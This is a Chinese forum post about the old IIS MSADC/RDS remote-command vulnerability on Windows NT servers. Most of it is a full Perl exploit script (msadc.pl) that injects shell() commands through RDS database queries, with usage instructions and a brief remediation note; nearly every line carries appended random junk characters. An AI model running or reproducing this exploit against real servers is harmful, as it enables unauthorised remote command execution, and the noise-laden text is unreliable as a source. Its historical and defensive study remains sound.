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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) UdT&cG  
`WH[DQ  
涉及程序: JNh=fvO2i  
Microsoft NT server ^C!mCTL1N  
K*_-5e  
描述: ]e^R@w  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 : @'fpN  
p/r~n'g$  
详细: {mNdL J  
如果你没有时间读详细内容的话,就删除: "XCU'_k=  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4\p$4Hs}  
有关的安全问题就没有了。 \% }raI;Y@  
vG Y!4@[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 's)fO#  
; ;<J x.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 t,RyeS/  
关于利用ODBC远程漏洞的描述,请参看: 5^\m`gS  
(~S<EUc$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _1sP.0 t  
&k1/Z*/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r)VLf#3B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp XZ} de%U1  
l;Q >b]DZ  
这里不再论述。  ylk{!  
X]qCS0GD'  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: _3|6ZO  
Vl<`|C>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset :]'q#$!  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! d!o.ASL{  
_*Pfp+if  
Q/p(#/y#b  
#将下面这段保存为txt文件,然后: "perl -x 文件名" IWQ&6SDW$z  
 1Yud~[c  
#!perl cn$5:%IK  
# My. dD'C  
# MSADC/RDS 'usage' (aka exploit) script C1 W>/?XC  
# .>P~uZiX!  
# by rain.forest.puppy !~WZ_z  
# C5Xof|#p|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me h%' N hV  
# beta test and find errors! qk&gA}qF  
sH%&+4!3  
use Socket; use Getopt::Std; ]3}feU+  
getopts("e:vd:h:XR", \%args); #zxd;;p3  
h0|[etaf  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; V{!lk]p}a  
z OtkC3hY  
if (!defined $args{h} && !defined $args{R}) { f3 !n$lj  
print qq~ _74UdD{^o  
Usage: msadc.pl -h <host> { -d <delay> -X -v } m=H_?W;  
-h <host> = host you want to scan (ip or domain) >)LAjwhBp  
-d <seconds> = delay between calls, default 1 second u*hH }  
-X = dump Index Server path table, if available d<#p %$A4  
-v = verbose zhX;6= X2  
-e = external dictionary file for step 5 7{-@}j`  
W,Ty=:qm*  
Or a -R will resume a command session _ \l HI  
K5{{:NR$  
~; exit;} GA\2i0ow  
Rb#/qkk/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; pw=F' Y@N  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Uj,g]e 8e  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *6XRjq^#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); EY~7oNfc`R  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ! tGiTzzp  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8 }-7{  
ABcBEv3  
if (!defined $args{R}){ $ret = &has_msadc; w,Q)@]_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} k {a)gFH O  
c}%es=@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ah (iE  
. "cmd /c "; e8{^f]5  
$in=<STDIN>; chomp $in; I0iY+@^5  
$command="cmd /c " . $in ; _lP4}9p  
;}D-:J-z_  
if (defined $args{R}) {&load; exit;} y:.?5KsPI  
!N1J@LT5h  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;|!MI'Af  
&try_btcustmr; ugI#ZFjJWE  
UT4f (Xo  
print "\nStep 2: Trying to make our own DSN..."; P{cos&X|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1aq2aLx  
zks#EzQ  
print "\nStep 3: Trying known DSNs..."; ;, rnk-  
&known_dsn; N!L'W\H,  
Pu..NPl+  
print "\nStep 4: Trying known .mdbs..."; ds]?;l"  
&known_mdb; |<rfvsQ.  
T%kKVr  
if (defined $args{e}){ ")ED)&e  
print "\nStep 5: Trying dictionary of DSN names..."; <GaT|Hhc=  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7/?DPwbx  
9 ZGV%Tw  
print "Sorry Charley...maybe next time?\n"; aM$=|%9/  
exit; wWTQ6~Y%d  
'0RRFO  
############################################################################## Ff<)4`J  
r1G8]agO  
sub sendraw { # ripped and modded from whisker 4 \ F P  
sleep($delay); # it's a DoS on the server! At least on mine... |'<vrn  
my ($pstr)=@_; < eQ[kM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vU}: U)S  
die("Socket problems\n"); s`c?:  
if(connect(S,pack "SnA4x8",2,80,$target)){ j=W@P-  
select(S); $|=1; C`0%C7  
print $pstr; my @in=<S>; Xhse~=qA  
select(STDOUT); close(S); P>wZ~Hjk  
return @in; #h N.=~  
} else { die("Can't connect...\n"); }}  2:'lZQ  
BC({ EE~R)  
############################################################################## )[jy[[K(  
g/#~N~&  
sub make_header { # make the HTTP request YBvd q1  
my $msadc=<<EOT ~KRnr0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 q 5p e~  
User-Agent: ACTIVEDATA E0YU[([G  
Host: $ip  eu9w|g  
Content-Length: $clen X`1p'JD  
Connection: Keep-Alive Q>=-ext}q  
*H" aOT^{  
ADCClientVersion:01.06 fK_~lGY(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ;Iq5|rzDn  
6m+W#]^  
--!ADM!ROX!YOUR!WORLD! [))JX"a  
Content-Type: application/x-varg _2OuskL  
Content-Length: $reqlen W 2<3C  
K/|  
EOT H)5QqZ8  
; $msadc=~s/\n/\r\n/g; tpo>1|  
return $msadc;} F7T E|LZ  
]fE3s{y &-  
############################################################################## KO&:06V{  
l.oBcg[  
sub make_req { # make the RDS request -B 9S}NPo  
my ($switch, $p1, $p2)=@_; 6m[9b*s7  
my $req=""; my $t1, $t2, $query, $dsn; oLS7`+b$  
a#y{pT2 b  
if ($switch==1){ # this is the btcustmr.mdb query dB3N%pB^  
$query="Select * from Customers where City=" . make_shell(); %S`ik!K"I  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ~ziexZ=N  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} E >}q2  
JZ=5Bpw  
elsif ($switch==2){ # this is general make table query {ma;G[!  
$query="create table AZZ (B int, C varchar(10))"; GV8)Kor%  
$dsn="$p1";} kA^A mfba  
{|6z+vR  
elsif ($switch==3){ # this is general exploit table query gz61FW  
$query="select * from AZZ where C=" . make_shell(); e$|VG* d  
$dsn="$p1";} o&$hYy"<.L  
fHfY}BQS  
elsif ($switch==4){ # attempt to hork file info from index server y5u\j{?Te  
$query="select path from scope()"; |I^y0Q:K  
$dsn="Provider=MSIDXS;";} !SF^a6jT  
{mSJUK?TKl  
elsif ($switch==5){ # bad query 8lwM{?k$  
$query="select"; dy:d=Z  
$dsn="$p1";} _Adsq8sFW  
K-(;D4/sQE  
$t1= make_unicode($query); d>!p=O`>{q  
$t2= make_unicode($dsn); H$tb;:  
$req = "\x02\x00\x03\x00"; 5v9uHxy  
$req.= "\x08\x00" . pack ("S1", length($t1)); N9]xJgTze  
$req.= "\x00\x00" . $t1 ; 4ht\&2&:  
$req.= "\x08\x00" . pack ("S1", length($t2)); uyT/Xzo3  
$req.= "\x00\x00" . $t2 ; /9_#U#vhY  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 2 B` 8eb  
return $req;} +< KNY  
"}zda*z8  
############################################################################## VAKy^nR5j  
xl2g0?  
sub make_shell { # this makes the shell() statement 1;Xgc@  
return "'|shell(\"$command\")|'";} m r4b  
+(mL~td01  
############################################################################## dJl^ADX[@  
c7qwNs*f  
sub make_unicode { # quick little function to convert to unicode [ H,u)8)  
my ($in)=@_; my $out; !8$RBD %  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }q'WC4.  
return $out;} GuO`jz F  
=M<z8R  
############################################################################## zZ,Yfd |W  
&N\[V-GP2G  
sub rdo_success { # checks for RDO return success (this is kludge) ;+`uER  
my (@in) = @_; my $base=content_start(@in); Q4wc-s4RN  
if($in[$base]=~/multipart\/mixed/){ uvB1VV4  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,%hj cGX11  
return 0;} w^o }E)O  
:3? |VE F  
############################################################################## GBbhar},g  
DB@EVH  
sub make_dsn { # this makes a DSN for us ]0/p 7N14  
my @drives=("c","d","e","f"); ]MAT2$"le  
print "\nMaking DSN: "; I KcKRw/O$  
foreach $drive (@drives) { ;fGx;D  
print "$drive: ";  (M`|'o!  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Ro r2qDF  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" LC-)'Z9}5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); R0<< f]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  U:|H9+5  
return 0 if $2 eq "404"; # not found/doesn't exist J&6:d  
if($2 eq "200") { BXhWTGiG  
foreach $line (@results) { s;{K!L@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} n+oDC65[  
} return 0;} <LA^%2jT  
( v@jc8y  
############################################################################## >5Lexj  
n )K6i7]xk  
sub verify_exists { l2&hBacT  
my ($page)=@_; &qRJceT(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~m`!;rE  
return $results[0];} "l,UOv c  
=!,Gst_  
############################################################################## O3%[dR  
j|K.i/  
sub try_btcustmr { &U &%ka<*  
my @drives=("c","d","e","f"); iZ; TYcT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @J vZ[T/  
>V!LitdJ  
foreach $dir (@dirs) { sR*Nq5F#9  
print "$dir -> "; # fun status so you can see progress D;js.ZF  
foreach $drive (@drives) { Y\?j0X;  
print "$drive: "; # ditto 0ar=cuDm  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; |F!F{d^p  
$reqlenlen=length( "$reqlen" ); ^l!L)iw  
$clen= 206 + $reqlenlen + $reqlen; CV^c",b_  
]rW8y%yD  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); AS;.sjgk  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /F~X,lm*~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +R[4\ hC0Y  
J_xG}d  
############################################################################## #@Y/{[s|@  
2k1aX~?  
sub odbc_error { ]d'^Xs  
my (@in)=@_; my $base; K/Y Agg  
my $base = content_start(@in); BUC,M:J+H  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this z $6JpG  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C6@t  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T[.[ g/`  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; QzthTX<  
return $in[$base+4].$in[$base+5].$in[$base+6];} .>]N+:O  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; OVswt  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . dZ2`{@AYY  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9 P"iuU  
Oif,|:  
############################################################################## Vxh.<b6&'  
:oa9#c`L  
sub verbose { Y<LNQ]8\G  
my ($in)=@_; h&'=F)5  
return if !$verbose; AcC8)xRpk4  
print STDOUT "\n$in\n";} O&$0&dhc  
#`/QOTnm2c  
############################################################################## `Q%NSU?  
3jPB#%F  
sub save { >oqZ !V5[  
my ($p1, $p2, $p3, $p4)=@_; |}S1o0v{(a  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; t26ij`V  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ;f%|3-q1[  
close OUT;} DQgH_!  
CLK^gZ  
############################################################################## p4mY0Y]mP  
e4.&aIC[  
sub load { 6 = gp:I  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Do;#NLrWb  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =nhzMU9c\y  
@p=<IN>; close(IN); y1,5$0@G  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); U e*$&VlT  
$target= inet_aton($ip) || die("inet_aton problems"); {ZqQ!!b  
print "Resuming to $ip ..."; &!1}`4$[T  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;KcFy@ 6q5  
if($p[1]==1) { ^:DyT@hQB5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; N@1p]\  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5(J^N  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); o'Y#H r)/  
if (rdo_success(@results)){print "Success!\n";} A1_ J sS  
else { print "failed\n"; verbose(odbc_error(@results));}} Qpu3(`d<  
elsif ($p[1]==3){ "!q?P" @C  
if(run_query("$p[3]")){ dlD}Ub  
print "Success!\n";} else { print "failed\n"; }} :p-Y7CSSu  
elsif ($p[1]==4){ iJP{|-h  
if(run_query($drvst . "$p[3]")){ 6k9LxC:M  
print "Success!\n"; } else { print "failed\n"; }} UqtHxEI%R~  
exit;} X8CVY0<o  
h4 vm{ho  
############################################################################## dVGbe07  
#nEL~&  
sub create_table { /77z\[CeYH  
my ($in)=@_; #x~_`>mDN  
$reqlen=length( make_req(2,$in,"") ) - 28; 2k+16/T  
$reqlenlen=length( "$reqlen" ); -e*BqH2t  
$clen= 206 + $reqlenlen + $reqlen; v2J0u:#,  
my @results=sendraw(make_header() . make_req(2,$in,"")); ")M;+<c"l  
return 1 if rdo_success(@results); ;[Tyt[  
my $temp= odbc_error(@results); verbose($temp); _4R,Ej}  
return 1 if $temp=~/Table 'AZZ' already exists/; {L9yhYw  
return 0;} ZvH{wt   
OoaY  
############################################################################## ~ hm`uP  
sv=H~wce  
sub known_dsn { qG9qN.|dC  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ma]? )1<{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", treXOC9^B8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", cyMs(21  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2 sSwDF  
d8:C3R  
foreach $dSn (@dsns) { Gah lS*W  
print "."; ]^@0+!  
next if (!is_access("DSN=$dSn")); e@j8T gI)  
if(create_table("DSN=$dSn")){ #:{6b *}  
print "$dSn successful\n"; hTw}X.<4  
if(run_query("DSN=$dSn")){ %dmfBf Ev  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Uu5C%9^s  
print "Something's borked. Use verbose next time\n";}}} print "\n";} #F4X}  
|s|/]aD}o  
############################################################################## Gvn: c/m;  
=|0/Ynfe  
sub is_access { Taasi` k  
my ($in)=@_; Mi74Xl i  
$reqlen=length( make_req(5,$in,"") ) - 28; :`J>bHE  
$reqlenlen=length( "$reqlen" ); M=%!IT  
$clen= 206 + $reqlenlen + $reqlen; oT->^4WY  
my @results=sendraw(make_header() . make_req(5,$in,"")); ^saM$e^c:  
my $temp= odbc_error(@results); \!wh[qEQ\  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); $l"MXxx5I  
return 0;} vlQ0gsXK  
x,1=D~L}  
############################################################################## A&l7d0Z^j5  
RVP18ub.S  
sub run_query { z!CD6W1n  
my ($in)=@_; $L&BT 0  
$reqlen=length( make_req(3,$in,"") ) - 28; AbZ:(+@cP  
$reqlenlen=length( "$reqlen" ); XV5`QmB9  
$clen= 206 + $reqlenlen + $reqlen; U;gp)=JNT  
my @results=sendraw(make_header() . make_req(3,$in,"")); U**)H_S/~  
return 1 if rdo_success(@results); Nza; O[  
my $temp= odbc_error(@results); verbose($temp); 0yTQ{'Cc  
return 0;} JS7dsO0;  
(C\r&N  
############################################################################## *?N<S$m  
<E}N=J'uJ  
sub known_mdb { )ddsyFGW  
my @drives=("c","d","e","f","g"); C1 {ZW~"YI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); xid:"y=_&  
my $dir, $drive, $mdb; T} 8CfG_ j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; <gcmsiB|  
][t 6VA  
# this is sparse, because I don't know of many owM mCR  
my @sysmdbs=( "\\catroot\\icatalog.mdb", oD,C<[(p  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", \`gEu{  
"\\system32\\certmdb.mdb", iGa}3pF  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s3< F  
.. UoyBV  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M=+M8M`Iy  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7j T}{ x  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", hVZo"XUb  
"\\cfusion\\cfapps\\security\\realm_.mdb", JUU&Z[6J  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ohplj`X[21  
"\\cfusion\\database\\cfexamples.mdb", z8tl0gd%D  
"\\cfusion\\database\\cfsnippets.mdb", ,'_( DJX  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 0||F`24  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", b,Lw7MY}[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", kW(Kh0x  
"\\cfusion\\database\\smpolicy.mdb", A'~#9@l<  
"\\cfusion\\database\cypress.mdb", %M6 c0d[9-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", C8MWIX}  
"\\website\\cgi-win\\dbsample.mdb", jGiw96,Y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4:`[qE3  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" raHVkE{<  
); #these are just .C?GW1[c~@  
foreach $drive (@drives) { xgs@gw7!n0  
foreach $dir (@dirs){ 4k$0CbHx0  
foreach $mdb (@sysmdbs) { 97]4 :Zv  
print "."; Y?t2,cm   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `EVg'?pl  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; H9E(\)@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R8uj3!3^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `WlH*p)z9  
} else { print "Something's borked. Use verbose next time\n"; }}}}} kF2Qv.5!  
j"6:A  
foreach $drive (@drives) { >KHp-|0pv  
foreach $mdb (@mdbs) { ,-:a?#f>  
print "."; qp@m&GH  
if(create_table($drv . $drive . $dir . $mdb)){ EW9b*r7./  
print "\n" . $drive . $dir . $mdb . " successful\n"; g? I!OG  
if(run_query($drv . $drive . $dir . $mdb)){ ?OO%5PSen  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^Po,(iIn  
} else { print "Something's borked. Use verbose next time\n"; }}}} -%=RFgU4  
} N"~ qoJO  
b- uZ"Kf^  
############################################################################## :ln/`_  
U1kh-8  :  
sub hork_idx { + Y;8~+  
print "\nAttempting to dump Index Server tables...\n"; ^(g_.>  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; CPGL!:  
$reqlen=length( make_req(4,"","") ) - 28; Z+,CL/  
$reqlenlen=length( "$reqlen" ); gi 5XP]z  
$clen= 206 + $reqlenlen + $reqlen; Iy.mVtcsZ  
my @results=sendraw2(make_header() . make_req(4,"","")); ^Rk^XQCh  
if (rdo_success(@results)){ % GVN4y&  
my $max=@results; my $c; my %d; ) H+d.Y  
for($c=19; $c<$max; $c++){ nj"m^PmWo3  
$results[$c]=~s/\x00//g; _j>L4bT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h[,XemwX  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Oc~VHT  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H\d;QN9Q;  
$d{"$1$2"}="";} kw#X]`c3  
foreach $c (keys %d){ print "$c\n"; } AbG&9=Ks  
} else {print "Index server doesn't seem to be installed.\n"; }} D@*|24y  
[tz u;/  
############################################################################## u ]SZ{[ e  
90(UgK&Y  
sub dsn_dict { V:8@)Hc=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); /D8EI   
while(<IN>){ g<a<{|  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; j^{b^!4~}  
next if (!is_access("DSN=$dSn")); L^x5&CCwk  
if(create_table("DSN=$dSn")){ FXxN>\76.  
print "$dSn successful\n"; UtPwWB_YV  
if(run_query("DSN=$dSn")){ SlT7L||Ww  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;tXY =  
print "Something's borked. Use verbose next time\n";}}} ;xI0\a7  
print "\n"; close(IN);} $i -zMa  
df yrn%^Ia  
############################################################################## #XfT1  
Yq{jEatY{/  
sub sendraw2 { # ripped and modded from whisker CMFC"eS e  
sleep($delay); # it's a DoS on the server! At least on mine... s4N,^_j  
my ($pstr)=@_; xlk5Gob*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;8uHRcdQ  
die("Socket problems\n"); A`g.[7  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]y}Zi/zh  
print "Connected. Getting data"; :k\} I k  
open(OUT,">raw.out"); my @in; <oQ6ZX  
select(S); $|=1; print $pstr; !x6IV25  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Wy!uRzbBv  
close(OUT); select(STDOUT); close(S); return @in; oLd:3,p}  
} else { die("Can't connect...\n"); }} X= SG  
8M~u_`6  
############################################################################## vU7&'ca  
EFeAr@nj  
sub content_start { # this will take in the server headers T"IW Jpc  
my (@in)=@_; my $c; 88#N~j~P  
for ($c=1;$c<500;$c++) { B9AbKK$`  
if($in[$c] =~/^\x0d\x0a/){ b70AJe=  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } vLr&ay!w  
else { return $c+1; }}} -G FwFkWm  
return -1;} # it should never get here actually l -XnB   
ZDfS0]0F  
############################################################################## [Zh2DNp  
k5q(7&C  
sub funky { ]M uF9={  
my (@in)=@_; my $error=odbc_error(@in); K1<k+t/V  
if($error=~/ADO could not find the specified provider/){ JLml#Pu4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; g4i #1V=  
exit;} "7:u0p!  
if($error=~/A Handler is required/){ KjC[q  
print "\nServer has custom handler filters (they most likely are patched)\n"; ["<5?!bU  
exit;} A_aO }oBX  
if($error=~/specified Handler has denied Access/){ fG3wc l~  
print "\nServer has custom handler filters (they most likely are patched)\n"; PMQb\%iE"  
exit;}} ~6] )*y  
(&k') ff9K  
############################################################################## .a5X*M]  
s* @QT8%  
sub has_msadc { Nz}|%.GP"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); w{~" ;[@  
my $base=content_start(@results); 1R*1BStc  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); QP'qG@j[:  
return 0;} 9OH.&g  
`..EQ BM  
######################## dWMccn;-m  
3Nc'3NPQ'  
e5QOB/e&  
解决方案: $x/J+9Ww  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3Sk5I%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \m@] G3=]  
/@6E3lh S  
拿出来充数 哈哈
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